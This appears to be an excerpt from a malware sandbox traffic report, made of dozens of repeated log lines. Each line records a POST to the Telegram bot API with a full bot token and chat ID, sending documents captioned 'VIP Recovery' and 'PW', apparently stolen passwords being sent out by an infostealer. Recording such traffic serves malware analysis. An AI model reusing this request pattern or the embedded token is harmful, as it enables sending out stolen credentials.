Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce4554f19dcc3Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce309cdaf4648Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce690e0867cd4Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce72aa89fc853Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce39b9b85919cHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce7aa69158b0eHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce43bdbce8cfeHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce833a5cad7e1Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce4fe8cefc2baHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce8b65a0f3d9fHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce64c0780910eHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dceaff00abf50cHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dceba7d0803f2eHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce6e7f102d275Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dceaac99e5fcbfHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcef90c1a97496Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dceb3e4c93a34eHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf048596588d7Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dced6e233a01b3Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf0ced33ec182Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcefb4e2f4aa1cHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf15ba97e3e5dHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf03acab5cb25Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf2cc95a004baHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf0c0ffc60fd2Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf2d6cd89f323Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf5228736b7e4Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf5262a282ce3Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf5efb3c6be30Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf5adc4041a3cHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf68d694733ebHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf64364b823abHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf718b1633c98Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf6c726581a75Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf7aab7810d9fHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf75e097196acHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf96e2d7c1904Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf87acb7f0612Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf9f7d1a9f0d8Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf9041216e2b7Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcfc29d9a5cacaHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcfe505b5a8452Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcf98f7b2e35edHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcfed3182d0166Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcfa10ca850f14Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd00e934167454Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcfdfaba9eabdaHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd01771edfcbecHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcfed4e660b567Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0417862dab04Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd002a375df3afHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd04a7c7a5e552Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd00d3dede440fHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd053f66608f0bHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd015205408852Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd05da1ef7e562Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd01e8a511992dHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd065e266dc598Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0270272e694bHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd08864f6f4d2dHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd02f8244d88ebHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd091525bd2ff7Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0b324555a5aaHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd06cf902e9b27Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcd873cf4d1d1fHost: api.telegram.orgContent-Length: 560Connection: Keep-Alive
